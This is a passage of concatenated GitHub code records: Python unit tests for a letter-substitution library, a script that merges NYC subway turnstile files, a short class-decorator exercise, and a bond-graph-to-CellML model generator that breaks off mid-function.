target = Target('a')\n env = {}\n x = (Letter('a', mockSource), Letter('b', mockSource))\n self.assertEqual(\n ([Letter('a', mockSource)], (Letter('b', mockSource),), {}),\n target.match(x, env)\n )\n\n\nclass TestReplaceWith(unittest.TestCase):\n\n def test_literal(self):\n rw = ReplaceWith(['qu'])\n self.assertCountEqual(\n (\n ['qu'],\n ),\n rw.replace(ignore_matched_input, (), {})\n )\n\n def test_variable(self):\n rw = ReplaceWith([Var('A')])\n self.assertCountEqual(\n (\n ['x'],\n ),\n rw.replace(ignore_matched_input, (), {'A': 'x'})\n )\n\n\nclass TestCombinatoricMap(unittest.TestCase):\n\n maxDiff = None\n\n def test_basics(self):\n qu_map = CombinatoricMap(lambda rw_object, source: rw_object,\n (Target('q', 'u'), ReplaceWith(['qu'])),\n (Target('q', 'v'), ReplaceWith(['qu'])),\n (Target('a', 'e'), ReplaceWith(['ae'], ['a', 'e'])),\n (Target(Var('A', Any)), ReplaceWith([Var('A')]))\n )\n\n qvaec = ('q', 'v', 'a', 'e', 'c')\n\n self.assertCountEqual(\n qu_map.map(qvaec),\n (\n ('qu', 'a', 'e', 'c'),\n ('qu', 'ae', 'c')\n )\n )\n\n def test_with_source(self):\n qu_map = CombinatoricMap(MakeInto(Letter),\n (Target('q', 'u'), ReplaceWith(('qu',))),\n (Target('q', 'v'), ReplaceWith(('qu',))),\n (Target('a', 'e'), ReplaceWith(('ae',), ('a', 'e'))),\n (Target(Var('A', Any)), ReplaceWith((Var('A'),)))\n )\n\n word_instance = WordInstance('qvaec', mockSource)\n qvaec = (\n Letter('q', Source(word_instance, 0)),\n Letter('v', Source(word_instance, 1)),\n Letter('a', Source(word_instance, 2)),\n Letter('e', Source(word_instance, 3)),\n Letter('c', Source(word_instance, 4))\n )\n self.assertCountEqual(\n qu_map.map(qvaec),\n (\n (\n Letter('qu', Source(word_instance, 0)),\n Letter('a', Source(word_instance, 2)),\n Letter('e', Source(word_instance, 3)),\n Letter('c', Source(word_instance, 4)),\n ),\n (\n Letter('qu', Source(word_instance, 0)),\n Letter('ae', Source(word_instance, 2)),\n Letter('c', Source(word_instance, 4)),\n )\n )\n )\n\n def test_testvar(self):\n c_map = CombinatoricMap(MakeInto(Letter),\n (Target('a', TestVar('C', is_consonant), 'e'),\n ReplaceWith(['A', Var('C'), 'E'])),\n (Target(Var('A', Any)),\n ReplaceWith([Var('A')]))\n )\n\n input = 'garebaie'\n\n self.assertCountEqual(\n reduce_to_text(c_map.map(input)),\n (\n ['g', 'A', 'r', 'E', 'b', 'a', 'i', 'e'],\n )\n )\n\n def test_optional(self):\n c_map = CombinatoricMap(ignore_matched_input, \n (Target(Optional('a'), 'b'),\n ReplaceWith(['AB'])),\n (Target(Var('A', Any)),\n ReplaceWith([Var('A')]))\n )\n\n input = 'xybxabac'\n\n self.assertCountEqual(\n c_map.map(input),\n (\n ('x', 'y', 'AB', 'x', 'AB', 'a', 'c'),\n )\n )\n\n def test_not_followed_by(self):\n c_map = CombinatoricMap(ignore_matched_input,\n (Target('a', NotFollowedBy('b')),\n ReplaceWith(('A',))),\n (Target(Var('A', Any)),\n ReplaceWith((Var('A'),)))\n )\n\n input = 'axabc'\n\n self.assertCountEqual(\n c_map.map(input),\n (\n ('A', 'x', 'a', 'b', 'c'),\n )\n )\n\n\nclass TestCombinatorics(unittest.TestCase):\n\n maxDiff = None\n\n def test_basics(self):\n seq = CombinatoricSequence()\n seq = seq.append(CombinatoricAlternatives(['a', 'b', 'c'], ['A']))\n seq = seq.append(CombinatoricAlternatives('d'))\n self.assertEqual(\n seq.product,\n Multiple(\n (['a', 'b', 'c'], 'd'),\n (['A'], 'd')\n )\n )\n\nif __name__ == '__main__':\n unittest.main()\n\n","repo_name":"bkovitz/signatrix","sub_path":"test_replace.py","file_name":"test_replace.py","file_ext":"py","file_size_in_byte":5924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"32125447522","text":"# coding: utf-8\n\nimport glob, os\n\ndef create_master_turnstile_file(filenames, output_file):\n try:\n \twith open(output_file, 'w') as master_file:\n \t\tmaster_file.write('C/A,UNIT,SCP,DATE,TIME,DESC,ENTRIES,EXITS\\n')\n \t\tfor filename in filenames:\n \t\t\twith open(filename) as f:\n \t\t\t\tnext(f)\n \t\t\t\t\t\n \t\t\t\tfor line in f:\n \t\t\t\t\tdata = line.strip().split(\",\")\n \t\t\t\t\tca,unit,scp,station,linename,division,date,time,desc,entries,exits = data\n \t\t\t\t\tmaster_file.write('{},{},{},{},{},{},{},{}\\n'.format(ca, unit, scp, date, time, desc, entries, exits))\n except Exception as e:\n print('Erro na escrita do arquivo', e)\n\noutput_file = 'turnstile_1706.txt'\nfilenames = []\n\nos.chdir(\".\")\nfor file in glob.glob(\"*.txt\"):\n filenames.append(file)\n\t\ncreate_master_turnstile_file(filenames, output_file)","repo_name":"marcoscarvalho/udacity-data-science","sub_path":"newyork-subway/1_2_consolidacao.py","file_name":"1_2_consolidacao.py","file_ext":"py","file_size_in_byte":824,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"13146343585","text":"def decoratore(Class):\n if \"ff\" not in dir(Class):\n setattr(Class, \"ff\", ClasseConfFF.ff)\n return Class\n\n\nclass ClasseConfFF:\n\n def ff(self):\n print(\"sono FF\")\n\n@decoratore\nclass Classe:\n def aggiungimetodo(funzione):\n if funzione is not None:\n setattr(Classe, \"f\", funzione)\n aggiungiMetodo = staticmethod(aggiungimetodo)\n\n\nc = Classe()\nprint(c.ff())\n\n","repo_name":"firewolf98/PyCharmProjects","sub_path":"pythonProject1/antonio/ese1.py","file_name":"ese1.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"it","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"3907511781","text":"from libcellml import Component, Model, Units, Variable\nfrom utilities import ask_for_file_or_folder, load_matrix, infix_to_mathml\nimport sys\nfrom pathlib import PurePath\nfrom build_CellMLV2 import editModel, MATH_FOOTER, MATH_HEADER,addEquations, _defineUnits,parseCellML_UI,writeCellML,import_setup, importComponents_default, getEntityList,editModel_default, writeCellML_default, writePythonCode\nfrom sympy import *\nimport numpy as np\nimport networkx as nx\n\nR,T,V_m, F, E=symbols('R,T,V_m, F, E')\n#---------------------------------------------------------------Build a cellML model for BG----------------------------------------------------------#\n\"\"\"Define BG component class\"\"\"\nclass BG():\n # Define physical domain and corresponding effort and flow variables, and their units\n dom = {'Ch':{'e':['mu','J_per_mol'],'f':['v','fmol_per_sec'],'q':['q','fmol']}, \n 'E':{'e':['V','volt'],'f':['I','fA'],'q':['q','fC']}} \n # Define component and corresponding parameters, and their units\n comp = {'Ce':{'dom':'Ch', 'description':'Chemical species', 'para':['K','per_fmol']},\n 'Se':{'dom':'Ch','description':'Chemostat', 'para':['K','per_fmol']},\n 'C':{'dom':'E', 'description':'Capacitor','para':['C','fF']},\n 'Ve':{'dom':'E','description':'Voltage source', 'para':['C','fF']},\n 'Re':{'dom':'Ch','description':'Chemical Reaction', 'para':['kappa','fmol_per_sec']},\n 'Re_GHK':{'dom':'Ch','description':'GHK Reaction', 'para':['kappa','fmol_per_sec']},\n 'R':{'dom':'E','description':'Resistor', 'para':['g','fS']} }\n # Define constant value and their units\n const = {'F':[96485,'C_per_mol'], 'R':[8.31,'J_per_K_per_mol'], 'T':[293, 'kelvin']}\n # Define the default units for material quantity q, flow f, and effort e of each domain\n # Biochemical domain\n q_Ch_1 = Units('fmol')\n q_Ch_1.addUnit(Units.StandardUnit.MOLE, 'femto')\n v_Ch_1 = Units('fmol_per_sec')\n v_Ch_1.addUnit(Units.StandardUnit.MOLE, 'femto')\n v_Ch_1.addUnit(Units.StandardUnit.SECOND, 1, -1)\n mu_Ch_1 = Units('J_per_mol')\n mu_Ch_1.addUnit(Units.StandardUnit.JOULE)\n mu_Ch_1.addUnit(Units.StandardUnit.MOLE, 1, -1)\n q_Ch_2 = Units('mM')\n q_Ch_2.addUnit(Units.StandardUnit.MOLE, 'milli')\n q_Ch_2.addUnit(Units.StandardUnit.LITRE, 1, -1)\n v_Ch_2 = Units('mM_per_sec')\n v_Ch_2.addUnit(Units.StandardUnit.MOLE, 'milli')\n v_Ch_2.addUnit(Units.StandardUnit.LITRE, 1, -1)\n v_Ch_2.addUnit(Units.StandardUnit.SECOND, 1, -1)\n mu_Ch_2 = Units('J_per_mM')\n mu_Ch_2.addUnit(Units.StandardUnit.JOULE)\n mu_Ch_2.addUnit(Units.StandardUnit.MOLE,'milli', -1)\n mu_Ch_2.addUnit(Units.StandardUnit.LITRE)\n # Electrical domain\n q_E_1 = Units('fC')\n q_E_1.addUnit(Units.StandardUnit.COULOMB, 'femto')\n v_E_1 = Units('fA')\n v_E_1.addUnit(Units.StandardUnit.AMPERE, 'femto')\n v_E_1.addUnit(Units.StandardUnit.SECOND, 1, -1)\n # mu_E_1 = Units('volt') # volt is the default unit for effort, so no need to define it\n\n\"\"\"Add variables and equations based on the component type\"\"\"\ndef add_BGcomp(model, name, type, voi = 't'): \n if type not in list(BG.comp):\n sys.exit(f'BG {type} is not defined!')\n component = model.component(model.name())\n component_param = model.component(model.name()+ '_param')\n dom = BG.comp[type]['dom']\n para_name = BG.comp[type]['para'][0] + '_' + name\n para_unit = Units(BG.comp[type]['para'][1])\n para=Variable(para_name)\n para.setUnits(para_unit)\n para.setInterfaceType(Variable.InterfaceType.PUBLIC)\n component.addVariable(para)\n component_param.addVariable(para.clone())\n f_name = BG.dom[dom]['f'][0]+ '_' + name\n f_unit = Units(BG.dom[dom]['f'][1])\n f=Variable(f_name)\n f.setUnits(f_unit)\n component.addVariable(f)\n if type in ['Ce','C']: \n q_init_name = BG.dom[dom]['q'][0]+ '_' + name + '_init'\n q_unit = Units(BG.dom[dom]['q'][1])\n q_init=Variable(q_init_name)\n q_init.setUnits(q_unit)\n q_init.setInterfaceType(Variable.InterfaceType.PUBLIC) # q_init is a parameter\n component.addVariable(q_init)\n component_param.addVariable(q_init.clone())\n q_name = BG.dom[dom]['q'][0]+ '_' + name\n q=Variable(q_name)\n q.setUnits(q_unit)\n q.setInitialValue(q_init)\n component.addVariable(q) # q is a state variable\n e_name = BG.dom[dom]['e'][0]+ '_' + name\n e_unit = Units(BG.dom[dom]['e'][1])\n e=Variable(e_name)\n e.setUnits(e_unit)\n component.addVariable(e)\n ode_var = f'{q.name()}'\n eq = f'{f.name()}'\n component.appendMath(infix_to_mathml(eq, ode_var, voi)) # ode(q,t) = f\n if type in ['Se','Ve']:\n q_unit = Units(BG.dom[dom]['q'][1])\n q_name = BG.dom[dom]['q'][0]+ '_' + name\n q=Variable(q_name)\n q.setUnits(q_unit)\n component.addVariable(q) # q is an input variable\n e_name = BG.dom[dom]['e'][0]+ '_' + name\n e_unit = Units(BG.dom[dom]['e'][1])\n e=Variable(e_name)\n e.setUnits(e_unit)\n component.addVariable(e)\n f.setInterfaceType(Variable.InterfaceType.PUBLIC)\n q.setInterfaceType(Variable.InterfaceType.PUBLIC)\n e.setInterfaceType(Variable.InterfaceType.PUBLIC) \n if type in ['Ce','Se']: \n eq = f'R*T*ln({para.name()}*{q.name()})'\n ode_var = f'{e.name()}' \n component.appendMath(infix_to_mathml(eq, ode_var)) # mu = R*T*ln(K*q)\n elif type in ['C','Ve']: \n eq = f'{q.name()}/{para.name()}'\n ode_var = f'{e.name()}' \n component.appendMath(infix_to_mathml(eq, ode_var)) # V = q/C \n if type == 'Re':\n ein_name = BG.dom[dom]['e'][0]+ '_' + name+ '_in'\n eout_name = BG.dom[dom]['e'][0]+ '_' + name+ '_out'\n e_unit = Units(BG.dom[dom]['e'][1])\n ein=Variable(ein_name)\n eout=Variable(eout_name)\n ein.setUnits(e_unit)\n eout.setUnits(e_unit)\n component.addVariable(ein)\n component.addVariable(eout)\n eq = f'{para.name()}*(exp({ein.name()}/(R*T))-exp({eout.name()}/(R*T)))'\n ode_var = f'{f.name()}'\n component.appendMath(infix_to_mathml(eq, ode_var))\n\n\"\"\"\"Add equations based on the connection matrices\"\"\"\ndef add_BGbond(model, comps, compd, Nf, Nr):\n # Add the zero nodes, i.e., mass balance equations\n component = model.component(model.name())\n for i,ecomp in enumerate(comps):\n name = ecomp[0]\n type = ecomp[1]\n comps_dom = BG.comp[type]['dom']\n f_name = BG.dom[comps_dom]['f'][0]+ '_' + name\n ode_var = f'{f_name}'\n eq = []\n for j in range(len(Nf[0,:])):\n if Nf[i,j] != '0':\n name = compd[j][0]\n type = compd[j][1]\n dom = BG.comp[type]['dom']\n f_name = BG.dom[dom]['f'][0]+ '_' + name\n if comps_dom == 'E': # convert from flux to current\n if Nf[i,j] == '1':\n eq.append(f'-F*{f_name}')\n else:\n eq.append(f'-{Nf[i,j]}*F*{f_name}')\n else:\n if Nf[i,j] == '1':\n eq.append(f'-{f_name}')\n else:\n eq.append(f'-{Nf[i,j]}*{f_name}')\n for j in range(len(Nr[0,:])):\n if Nr[i,j] != '0':\n name = compd[j][0]\n type = compd[j][1]\n dom = BG.comp[type]['dom']\n f_name = BG.dom[dom]['f'][0]+ '_' + name\n if comps_dom == 'E': # convert from flux to current\n if Nr[i,j] == '1':\n if len(eq) == 0:\n eq.append(f'F*{f_name}')\n else:\n eq.append(f'+F*{f_name}')\n else:\n if len(eq) == 0:\n eq.append(f'{Nr[i,j]}*F*{f_name}')\n else:\n eq.append(f'+{Nr[i,j]}*F*{f_name}')\n else:\n if Nr[i,j] == '1':\n if len(eq) == 0:\n eq.append(f'{f_name}')\n else:\n eq.append(f'+{f_name}')\n else:\n if len(eq) == 0:\n eq.append(f'{Nr[i,j]}*{f_name}')\n else:\n eq.append(f'+{Nr[i,j]}*{f_name}')\n \n component.appendMath(infix_to_mathml(''.join(eq), ode_var))\n # Add the one nodes, i.e., energy balance equations\n for j,dcomp in enumerate(compd):\n name = dcomp[0]\n type = dcomp[1]\n dom = BG.comp[type]['dom']\n ein_name = BG.dom[dom]['e'][0]+ '_' + name+ '_in'\n eout_name = BG.dom[dom]['e'][0]+ '_' + name+ '_out'\n eqout = []\n eqin = []\n ode_var_out = f'{eout_name}'\n ode_var_in = f'{ein_name}'\n for i in range(len(Nf[:,0])):\n if Nf[i,j] != '0':\n name = comps[i][0]\n type = comps[i][1]\n dom = BG.comp[type]['dom']\n e_name = BG.dom[dom]['e'][0]+ '_' + name\n if dom == 'E': # convert from voltage to chemical potential\n if Nf[i,j] == '1':\n if len(eqin) == 0:\n eqin.append(f'F*{e_name}')\n else:\n eqin.append(f'+F*{e_name}')\n else:\n if len(eqin) == 0:\n eqin.append(f'{Nf[i,j]}*F*{e_name}')\n else:\n eqin.append(f'+{Nf[i,j]}*F*{e_name}')\n else:\n if Nf[i,j] == '1':\n if len(eqin) == 0:\n eqin.append(f'{e_name}')\n else:\n eqin.append(f'+{e_name}')\n else:\n if len(eqin) == 0:\n eqin.append(f'{Nf[i,j]}*{e_name}')\n else:\n eqin.append(f'+{Nf[i,j]}*{e_name}')\n for i in range(len(Nr[:,0])):\n if Nr[i,j] != '0':\n name = comps[i][0]\n type = comps[i][1]\n dom = BG.comp[type]['dom']\n e_name = BG.dom[dom]['e'][0]+ '_' + name\n if dom == 'E': # convert from voltage to chemical potential\n if Nr[i,j] == '1':\n if len(eqout) == 0:\n eqout.append(f'F*{e_name}')\n else:\n eqout.append(f'+F*{e_name}')\n else:\n if len(eqout) == 0:\n eqout.append(f'{Nr[i,j]}*F*{e_name}')\n else:\n eqout.append(f'+{Nr[i,j]}*F*{e_name}')\n else:\n if Nr[i,j] == '1':\n if len(eqout) == 0:\n eqout.append(f'{e_name}')\n else:\n eqout.append(f'+{e_name}')\n else:\n if len(eqout) == 0:\n eqout.append(f'{Nr[i,j]}*{e_name}')\n else:\n eqout.append(f'+{Nr[i,j]}*{e_name}')\n\n component.appendMath(infix_to_mathml(''.join(eqin), ode_var_in))\n component.appendMath(infix_to_mathml(''.join(eqout), ode_var_out))\n\n\"\"\"Read bond graph model from a csv file and create a CellML model from it.\"\"\"\ndef read_csvBG():\n # Get the csv file from the user by opening a file dialog\n message='Please select the forward matrix csv file:'\n file_name_f = ask_for_file_or_folder(message)\n model_path = PurePath(file_name_f).parent.as_posix()\n # by default, the reverse matrix csv file is the same as the forward matrix csv file expect that the file name ends with '_r'\n file_name_r = file_name_f[:-6]+'_r.csv' \n # Read the csv file, which has two rows of headers, the first row is the reaction type and the second row is the reaction name\n CompName,CompType,ReName,ReType,N_f,N_r=load_matrix(file_name_f,file_name_r)\n # Create CellML models\n name_f=PurePath(file_name_f).stem.split('_')[0]\n model_BG = Model(name_f +'_BG')\n model_BG_param = Model(name_f +'_BG' + '_param')\n model_BG_test = Model(name_f +'_BG' + '_test')\n component_BG_test = Component(model_BG_test.name())\n component_BG_io = Component(model_BG.name() + '_io')\n model_BG_test.addComponent(component_BG_test)\n model_BG_test.addComponent(component_BG_io)\n # Default voi, units, and init\n voi = 't'\n units = Units('second')\n voi = Variable(voi)\n voi.setUnits(units) \n # Build model_BG\n component=Component(model_BG.name())\n component_param=Component(model_BG_param.name())\n model_BG.addComponent(component)\n model_BG.addComponent(component_param)\n component.addVariable(voi)\n component.setMath(MATH_HEADER) \n for i, comp in enumerate(CompName):\n add_BGcomp(model_BG, comp, CompType[i],voi.name())\n for i, re in enumerate(ReName):\n add_BGcomp(model_BG, re, ReType[i],voi.name())\n comps = list(zip(CompName,CompType))\n compd = list(zip(ReName,ReType))\n add_BGbond(model_BG, comps, compd, N_f, N_r)\n component.appendMath(MATH_FOOTER)\n\n vars=getEntityList(model_BG,component.name())\n for var in vars:\n var_list=var.split('_')\n if component.variable(var).interfaceType() == 'public' and ('v' in var_list or 'I' in var_list):\n component_BG_test.addVariable(component.variable(var).clone())\n elif component.variable(var).interfaceType() == 'public' and 'q' in var_list and 'init' not in var_list:\n component_BG_test.addVariable(component.variable(var).clone())\n component_BG_io.addVariable(component.variable(var).clone())\n component_BG_io.variable(var).setInitialValue(1)\n\n # clone the parameter component from model_BG which will be added to model_BG_param\n component_BG_param = model_BG.component(model_BG_param.name()).clone()\n # Remove component_param from model_BG\n model_BG.removeComponent(model_BG_param.name())\n # Build model_BG_param\n model_BG_param.addComponent(component_BG_param)\n \n # Set the default parameters as 1\n for var_numb in range(component_BG_param.variableCount()):\n model_BG_param.component(component_BG_param.name()).variable(var_numb).setInitialValue(1)\n\n # Add the constant variables \n for const in BG.const:\n const_name = const\n var_const=Variable(const_name)\n unit_name = BG.const[const_name][1]\n u=Units(unit_name)\n var_const.setUnits(u)\n var_const.setInterfaceType(Variable.InterfaceType.PUBLIC)\n param_const = var_const.clone()\n param_const.setInitialValue(BG.const[const_name][0])\n model_BG.component(component.name()).addVariable(var_const)\n model_BG_param.component(component_BG_param.name()).addVariable(param_const)\n return model_BG, model_BG_param, model_BG_test, CompName,CompType,ReName,ReType,N_f,N_r, name_f,component_BG_param, model_path \n\n\"\"\" From the stoichiometric matrix to derive the steady state equations\"\"\"\ndef flux_ss(CompName,CompType,ReName,ReType,N_f,N_r):\n # Note: cannot handle large matrix due to performance issue\n # define lambda functions to apply to the entries of matrix\n f_exp = lambda x: exp(x)\n f_log = lambda x: log(x)\n type_convert = lambda x: float(x) if isinstance(x, float) or isinstance(x, int) else Symbol(x)\n # convert the string stoichiometric matrix to float matrix. TODO: need to handle the case of stoichiometric matrix with symbolic entries \n Nf = nsimplify(Matrix(np.array(N_f)).applyfunc(type_convert))\n Nr = nsimplify(Matrix(np.array(N_r)).applyfunc(type_convert))\n # Get the quantities q, thermal parameters K, of the species\n q = Matrix([Symbol(f'q_{comp}') for comp in CompName])\n K_cd=diag(*[Symbol(f'K_{comp}') for i,comp in enumerate(CompName) if CompType[i]=='Ce'])\n K_cs=diag(*[Symbol(f'K_{comp}') for i,comp in enumerate(CompName) if CompType[i]=='Se'])\n # Get the reaction rate constants kappa\n kappa = diag(*[Symbol(f'kappa_{re}') for re in ReName])\n # Split the matrices into 3 parts: the first part is the chemostatic, the second part is the chemodynamic, the third part is the electrical charge if any \n chemostatic_index = [i for i, x in enumerate(CompType) if x == 'Se']\n chemodynamic_index = [i for i, x in enumerate(CompType) if x == 'Ce']\n electrogenic_index = [i for i, x in enumerate(CompType) if x == 'Ve']\n N_cs_f = Matrix(Nf[chemostatic_index,:])\n N_cs_r = Matrix(Nr[chemostatic_index,:])\n N_cd_f = Matrix(Nf[chemodynamic_index,:])\n N_cd_r = Matrix(Nr[chemodynamic_index,:])\n q_cs = q[chemostatic_index,:]\n N_cd = N_cd_r-N_cd_f \n # Get the chemical potentials and electrical potential (converted to chemical potential) \n mu_cs = R*T*((K_cs*q_cs).applyfunc(f_log))\n if len(electrogenic_index)>0:\n N_e_f = Matrix(Nf[electrogenic_index,:])\n N_e_r = Matrix(Nr[electrogenic_index,:])\n mu_e = Matrix([F*V_m for i in range(len(electrogenic_index))])\n mu_source = mu_cs.col_join(mu_e)\n N_source_f = N_cs_f.col_join(N_e_f)\n N_source_r = N_cs_r.col_join(N_e_r)\n else:\n mu_source = mu_cs\n N_source_f = N_cs_f\n N_source_r = N_cs_r\n # Construct the matrices B_f and B_r which encode the potentials impact on the reaction rates\n B_f=diag(*((N_source_f.T *(mu_source/(R*T))).applyfunc(f_exp)))\n B_r=diag(*((N_source_r.T *(mu_source/(R*T))).applyfunc(f_exp)))\n # Construct the matrix M and vector b for the linear equations\n # b is a vector containing N number of 0s and the last entry is E; N is the number of reactions minus 1\n b = Matrix([0 for i in range(Nf.shape[1]-1)]+[E])\n M_ss=N_cd*(kappa*(B_f*N_cd_f.T-B_r*N_cd_r.T)*K_cd)\n M_G = Matrix([[1 for i in range(len(chemodynamic_index))]])\n M_ss_red = M_ss[0:len(chemodynamic_index)-1,:]\n M = nsimplify(M_ss_red.col_join(M_G))\n # Solve the linear equations\n q_cd_ss = nsimplify(M.LUsolve(b))\n M_v = nsimplify(kappa*(B_f*N_cd_f.T-B_r*N_cd_r.T)*K_cd)\n v = nsimplify(M_v*q_cd_ss)\n v_ss = factor(v[0]) # This is where the performance issue comes from\n # Get the numerator and denominator of the steady state equation\n vss_num, vss_den = fraction(v_ss)\n return vss_num, vss_den\n # Simplify the steady state equation\ndef simplify_flux_ss(vss_num,vss_den):\n # Get the subexpression of vss_num containing q, E and exp(F*V_m/(R*T))\n vss_num_terms = Add.make_args(expand(vss_num))\n vss_num_subterms =set()\n Q={}\n for i in range(len(vss_num_terms)):\n qsubliterals=[]\n for term in vss_num_terms[i].args:\n if str(term).startswith('q') or term==E:\n qsubliterals.append(term)\n if not isinstance(term,Pow):\n Q.update({term:(term,'fmol')}) \n else:\n term_args = term.args # term_args[0] is the q term, term_args[1] is the power\n Q.update({term_args[0]:(term_args[0],'fmol')})\n if str(term).startswith('exp'):\n qsubliterals.append(term)\n Q.update({V_m:(V_m,'volt')})\n \n if len(qsubliterals)>1:\n vss_num_subterms.add(Mul(*qsubliterals))\n elif len(qsubliterals)==1:\n vss_num_subterms.add(qsubliterals[0])\n # Get the subexpression of vss_den containing q and exp(F*V_m/(R*T))\n vss_den_terms = Add.make_args(expand(vss_den))\n vss_den_subterms =set()\n for i in range(len(vss_den_terms)):\n subliterals=[]\n for term in vss_den_terms[i].args:\n if str(term).startswith('q') or term==E:\n subliterals.append(term)\n \n if str(term).startswith('exp'):\n subliterals.append(term)\n\n if len(subliterals)>1:\n vss_den_subterms.add(Mul(*subliterals))\n elif len(subliterals)==1:\n vss_den_subterms.add(subliterals[0])\n \n def join_unit (expri):\n symbols_expri = expri.atoms(Symbol)\n unit_list =[]\n first_unit=[]\n for s in symbols_expri:\n power_s = Poly(expri,s).monoms()\n if power_s[0][0] == 1:\n first_unit.append(f'{s.name}')\n else:\n unit_list.append(f'{s.name}{power_s[0][0]}')\n unit_list = first_unit + unit_list\n unit_list.sort()\n unit_expr = '_'.join(unit_list)\n\n return unit_expr\n # Get the units of the parameters P\n def get_Units(terms):\n first_term = Add.make_args(terms)[0]\n Units_list=[]\n Ks_units=[1/Symbol('fmol') for j in first_term.atoms() if str(j).startswith('K')]\n for term in first_term.atoms(Pow):\n if str(term.args[0]).startswith('K'):\n Ks_units=Ks_units+[1/Symbol('fmol') for i in range(term.args[1]-1)] # power of K -1 because the first K is already in the list\n kappas_units=[Symbol('fmol')/Symbol('sec') for j in first_term.atoms() if str(j).startswith('kappa')]\n E_units = [Symbol('fmol') for j in first_term.atoms() if j==E]\n if len(Ks_units)>0:\n if len(Ks_units)>1:\n Ks_unit=Mul(*Ks_units)\n elif len(Ks_units)==1:\n Ks_unit=Ks_units[0]\n Units_list=Units_list+[Ks_unit]\n if len(E_units)>0:\n Units_list=Units_list+E_units\n if len(kappas_units)>0:\n if len(kappas_units)>1:\n kappas_unit=Mul(*kappas_units)\n elif len(kappas_units)==1:\n kappas_unit=kappas_units[0]\n Units_list=Units_list+[kappas_unit] \n iUnits = Mul(*Units_list) \n # if iUnits is number: return dimensionless\n if iUnits.is_number: return 'dimensionless'\n else: \n Units_num, Units_den=fraction(iUnits)\n if Units_num .is_number: # join the items in Units_den with '_'\n cellml_units_den = join_unit (Units_den) \n cellml_units = f'per_{cellml_units_den}'\n else:\n cellml_units_num = join_unit (Units_num)\n cellml_units_den = join_unit (Units_den)\n cellml_units = f'{cellml_units_num}_per_{cellml_units_den}'\n\n return cellml_units \n \n # Collect the terms of the numerator and denominator to simplify the expression\n P={}\n dict_vss_num= collect(expand(vss_num),list(vss_num_subterms), evaluate=False)\n dict_vss_num_keys = list(dict_vss_num.keys())\n sub_dict = {}\n for i,key in enumerate(dict_vss_num_keys):\n if dict_vss_num[key].could_extract_minus_sign():\n sub_dict.update({-dict_vss_num[key]:Symbol(f'P_{i}')})\n P.update({Symbol(f'P_{i}'):(-dict_vss_num[key],get_Units(dict_vss_num[key]))})\n else:\n sub_dict.update({dict_vss_num[key]:Symbol(f'P_{i}')})\n P.update({Symbol(f'P_{i}'):(dict_vss_num[key],get_Units(dict_vss_num[key]))})\n\n c_vss_num = collect(expand(vss_num),list(vss_num_subterms))\n c_vss_num_simp= factor( (c_vss_num).subs(sub_dict))\n print('c_vss_num_sim=\\n',c_vss_num_simp)\n\n dict_vss_den= collect(expand(vss_den),list(vss_den_subterms), evaluate=False)\n dict_vss_den_keys = list(dict_vss_den.keys())\n sub_dict = {}\n for j,key in enumerate(dict_vss_den_keys):\n if dict_vss_den[key].could_extract_minus_sign():\n sub_dict.update({-dict_vss_den[key]:Symbol(f'P_{i+j+1}')})\n P.update({Symbol(f'P_{i+j+1}'):(-dict_vss_den[key],get_Units(dict_vss_den[key]))})\n else:\n sub_dict.update({dict_vss_den[key]:Symbol(f'P_{i+j+1}')})\n P.update({Symbol(f'P_{i+j+1}'):(dict_vss_den[key],get_Units(dict_vss_den[key]))})\n\n c_vss_den= collect(expand(vss_den),list(vss_den_subterms))\n c_vss_den_simp= (c_vss_den).subs(sub_dict)\n print('c_vss_den_sim=\\n',c_vss_den_simp)\n v_ss_simplified = c_vss_num_simp/c_vss_den_simp\n print('v_ss_simplified=\\n',v_ss_simplified)\n for key in P.keys():\n print(key,'=',P[key])\n return v_ss_simplified, P, Q\n \ndef flux_ss_diagram(CompName,CompType,ReName,ReType,N_f,N_r):\n # Based on the approach proposed in \n # Hill, Terrell. Free energy transduction in biology: the steady-state kinetic and thermodynamic formalism. Elsevier, 2012.\n # convert the string stoichiometric matrix to float matrix. TODO: need to handle the case of stoichiometric matrix with symbolic entries \n \n Nf = nsimplify(Matrix(np.array(N_f)))\n Nr = nsimplify(Matrix(np.array(N_r)))\n # Get the quantities q of the chemodynamic species (in the enzyme reaction network)\n q_cd = [f'q_{comp}' for i,comp in enumerate(CompName) if CompType[i]=='Ce']\n # Get the reaction rate constants kappa\n kappa = [Symbol(f'kappa_{re}') for re in ReName]\n # Construct a directed graph of the reaction network\n # Compute the apparent reaction rate constants of the enzyme reaction network\n G = nx.DiGraph()\n for i,comp in enumerate(CompName):\n if CompType[i]=='Ce':\n G.add_node(comp) \n for j,re in enumerate(ReName):\n k_f_terms =[]\n k_r_terms =[]\n for i,comp in enumerate(CompName):\n if Nf[i,j]!=0 and CompType[i]=='Ce':\n mu_f = R*T*log(Symbol(f'K_{comp}')*Symbol(f'q_{comp}'))\n q_f = Symbol(f'q_{comp}')\n elif Nf[i,j]!=0 and CompType[i]=='Se':\n mu_f = R*T*log(Symbol(f'K_{comp}')*Symbol(f'q_{comp}'))\n elif Nf[i,j]!=0 and CompType[i]=='Ve':\n mu_f = F*V_m\n else:\n mu_f = 0\n if mu_f != 0:\n k_f_terms.append(Nf[i,j]*mu_f)\n if Nr[i,j]!=0 and CompType[i]=='Ce':\n mu_r = R*T*log(Symbol(f'K_{comp}')*Symbol(f'q_{comp}'))\n q_r = Symbol(f'q_{comp}')\n elif Nr[i,j]!=0 and CompType[i]=='Se':\n mu_r = R*T*log(Symbol(f'K_{comp}')*Symbol(f'q_{comp}'))\n elif Nr[i,j]!=0 and CompType[i]=='Ve':\n mu_r = F*V_m\n else:\n mu_r = 0\n if mu_r != 0:\n k_r_terms.append(Nr[i,j]*mu_r)\n k_f_mat = Matrix(k_f_terms)\n k_r_mat = Matrix(k_r_terms)\n mu_f_sum = expand_power_base(powdenest(exp(sum((k_f_mat)/(R*T)))),force=True)\n mu_r_sum = expand_power_base(powdenest(exp(sum((k_r_mat)/(R*T)))),force=True) \n kf_exp = nsimplify(kappa[j]*mu_f_sum)\n dict_kf= collect(kf_exp,q_f, evaluate=False)\n kr_exp = nsimplify(kappa[j]*mu_r_sum)\n dict_kr= collect(kr_exp,q_r, evaluate=False)\n G.add_edge(q_f.name,q_r.name,reaction=re, 